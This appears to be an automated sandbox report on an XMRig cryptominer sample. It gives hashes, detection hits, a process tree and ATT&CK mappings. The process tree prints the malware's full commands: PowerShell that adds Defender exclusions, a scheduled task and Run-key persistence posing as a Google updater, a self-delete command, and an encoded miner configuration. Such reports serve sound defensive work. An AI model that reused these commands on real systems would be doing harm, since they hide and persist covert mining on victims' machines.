xmrig | cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

max time kernel
1791s
max time network
1795s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
05-05-2023 05:31

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General

Target

qM5GMXBk6hJE6Y5e.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1596 created 1192	1596	qM5GMXBk6hJE6Y5e.exe	20
PID 1596 created 1192	1596	qM5GMXBk6hJE6Y5e.exe	20
PID 1596 created 1192	1596	qM5GMXBk6hJE6Y5e.exe	20
PID 1596 created 1192	1596	qM5GMXBk6hJE6Y5e.exe	20
PID 1096 created 1192	1096	updater.exe	20
PID 1096 created 1192	1096	updater.exe	20
PID 1096 created 1192	1096	updater.exe	20
PID 1096 created 1192	1096	updater.exe	20
PID 540 created 1192	540	conhost.exe	20
PID 1096 created 1192	1096	updater.exe	20

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral1/memory/1156-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-147-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-149-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-151-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-153-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-155-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-157-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-159-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-161-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1156-163-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
888	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1096	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1320	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1156-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-147-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-149-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-151-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-153-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-155-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-157-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-159-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-161-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1156-163-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1096 set thread context of 540	1096	updater.exe	46
PID 1096 set thread context of 1156	1096	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1704	schtasks.exe
1104	schtasks.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 406c7fb0237fd901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1596	qM5GMXBk6hJE6Y5e.exe
1596	qM5GMXBk6hJE6Y5e.exe
1716	powershell.exe
1596	qM5GMXBk6hJE6Y5e.exe
1596	qM5GMXBk6hJE6Y5e.exe
1004	powershell.exe
1596	qM5GMXBk6hJE6Y5e.exe
1596	qM5GMXBk6hJE6Y5e.exe
1596	qM5GMXBk6hJE6Y5e.exe
1596	qM5GMXBk6hJE6Y5e.exe
1088	powershell.exe
1096	updater.exe
1096	updater.exe
272	powershell.exe
1096	updater.exe
1096	updater.exe
1532	powershell.exe
1096	updater.exe
1096	updater.exe
1096	updater.exe
1096	updater.exe
540	conhost.exe
540	conhost.exe
1096	updater.exe
1096	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
460	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1716	powershell.exe
Token: SeDebugPrivilege	1004	powershell.exe
Token: SeDebugPrivilege	1088	powershell.exe
Token: SeDebugPrivilege	272	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	1096	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1204	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1204	WMIC.exe
Token: SeSecurityPrivilege	1204	WMIC.exe
Token: SeTakeOwnershipPrivilege	1204	WMIC.exe
Token: SeLoadDriverPrivilege	1204	WMIC.exe
Token: SeSystemtimePrivilege	1204	WMIC.exe
Token: SeBackupPrivilege	1204	WMIC.exe
Token: SeRestorePrivilege	1204	WMIC.exe
Token: SeShutdownPrivilege	1204	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1204	WMIC.exe
Token: SeUndockPrivilege	1204	WMIC.exe
Token: SeManageVolumePrivilege	1204	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1204	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1204	WMIC.exe
Token: SeSecurityPrivilege	1204	WMIC.exe
Token: SeTakeOwnershipPrivilege	1204	WMIC.exe
Token: SeLoadDriverPrivilege	1204	WMIC.exe
Token: SeSystemtimePrivilege	1204	WMIC.exe
Token: SeBackupPrivilege	1204	WMIC.exe
Token: SeRestorePrivilege	1204	WMIC.exe
Token: SeShutdownPrivilege	1204	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1204	WMIC.exe
Token: SeUndockPrivilege	1204	WMIC.exe
Token: SeManageVolumePrivilege	1204	WMIC.exe
Token: SeLockMemoryPrivilege	1156	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1004 wrote to memory of 1104	1004	powershell.exe	32
PID 1004 wrote to memory of 1104	1004	powershell.exe	32
PID 1004 wrote to memory of 1104	1004	powershell.exe	32
PID 888 wrote to memory of 1544	888	cmd.exe	37
PID 888 wrote to memory of 1544	888	cmd.exe	37
PID 888 wrote to memory of 1544	888	cmd.exe	37
PID 1088 wrote to memory of 1092	1088	powershell.exe	38
PID 1088 wrote to memory of 1092	1088	powershell.exe	38
PID 1088 wrote to memory of 1092	1088	powershell.exe	38
PID 1320 wrote to memory of 1096	1320	taskeng.exe	40
PID 1320 wrote to memory of 1096	1320	taskeng.exe	40
PID 1320 wrote to memory of 1096	1320	taskeng.exe	40
PID 1532 wrote to memory of 1704	1532	powershell.exe	45
PID 1532 wrote to memory of 1704	1532	powershell.exe	45
PID 1532 wrote to memory of 1704	1532	powershell.exe	45
PID 1096 wrote to memory of 540	1096	updater.exe	46
PID 1012 wrote to memory of 1204	1012	cmd.exe	51
PID 1012 wrote to memory of 1204	1012	cmd.exe	51
PID 1012 wrote to memory of 1204	1012	cmd.exe	51
PID 1096 wrote to memory of 1156	1096	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1192
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1088
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1092
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:888
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1532
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1704
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:540
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1012
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1204
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1600
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1156

C:\Windows\system32\taskeng.exe
taskeng.exe {AB251AD5-761D-429C-AD58-27DB551120D3} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1320
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1096

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\48WZNA4UC649ITQ5G3B1.temp

Filesize
7KB

MD5
697da2b2830c8222aa4126be80b86718

SHA1
db4b421b60cd7f5196decb67c7ef1a0fcfbdc171

SHA256
b2f32024b2da47d316f163904c32e4e5b1348575f6aebf47b4bee5f0cb47606a

SHA512
1e4d30788be066294787a82d2d8a53db5d8c392fe93811934743a969f2d2ba2ef4e562656fe3efe9f05003c730619749cd8ce9d5b8a91d10d6fdbb6d9a6a4452

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
697da2b2830c8222aa4126be80b86718

SHA1
db4b421b60cd7f5196decb67c7ef1a0fcfbdc171

SHA256
b2f32024b2da47d316f163904c32e4e5b1348575f6aebf47b4bee5f0cb47606a

SHA512
1e4d30788be066294787a82d2d8a53db5d8c392fe93811934743a969f2d2ba2ef4e562656fe3efe9f05003c730619749cd8ce9d5b8a91d10d6fdbb6d9a6a4452

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
697da2b2830c8222aa4126be80b86718

SHA1
db4b421b60cd7f5196decb67c7ef1a0fcfbdc171

SHA256
b2f32024b2da47d316f163904c32e4e5b1348575f6aebf47b4bee5f0cb47606a

SHA512
1e4d30788be066294787a82d2d8a53db5d8c392fe93811934743a969f2d2ba2ef4e562656fe3efe9f05003c730619749cd8ce9d5b8a91d10d6fdbb6d9a6a4452

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/272-88-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/272-87-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/272-89-0x000000000119B000-0x00000000011D2000-memory.dmp

Filesize
220KB

Download
memory/272-86-0x0000000001190000-0x0000000001210000-memory.dmp

Filesize
512KB

Download
memory/540-112-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/540-103-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1004-70-0x00000000022A4000-0x00000000022A7000-memory.dmp

Filesize
12KB

Download
memory/1004-71-0x00000000022AB000-0x00000000022E2000-memory.dmp

Filesize
220KB

Download
memory/1004-68-0x000000001AF60000-0x000000001B242000-memory.dmp

Filesize
2.9MB

Download
memory/1004-69-0x00000000026F0000-0x00000000026F8000-memory.dmp

Filesize
32KB

Download
memory/1088-79-0x00000000027F4000-0x00000000027F7000-memory.dmp

Filesize
12KB

Download
memory/1088-80-0x00000000027FB000-0x0000000002832000-memory.dmp

Filesize
220KB

Download
memory/1096-84-0x000000013FA30000-0x000000013FC41000-memory.dmp

Filesize
2.1MB

Download
memory/1096-98-0x000000013FA30000-0x000000013FC41000-memory.dmp

Filesize
2.1MB

Download
memory/1156-102-0x0000000000830000-0x0000000000850000-memory.dmp

Filesize
128KB

Download
memory/1156-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-163-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-161-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-159-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-99-0x00000000000C0000-0x00000000000E0000-memory.dmp

Filesize
128KB

Download
memory/1156-157-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-101-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/1156-155-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-153-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-107-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/1156-108-0x0000000000830000-0x0000000000850000-memory.dmp

Filesize
128KB

Download
memory/1156-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-151-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-149-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-143-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1156-145-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
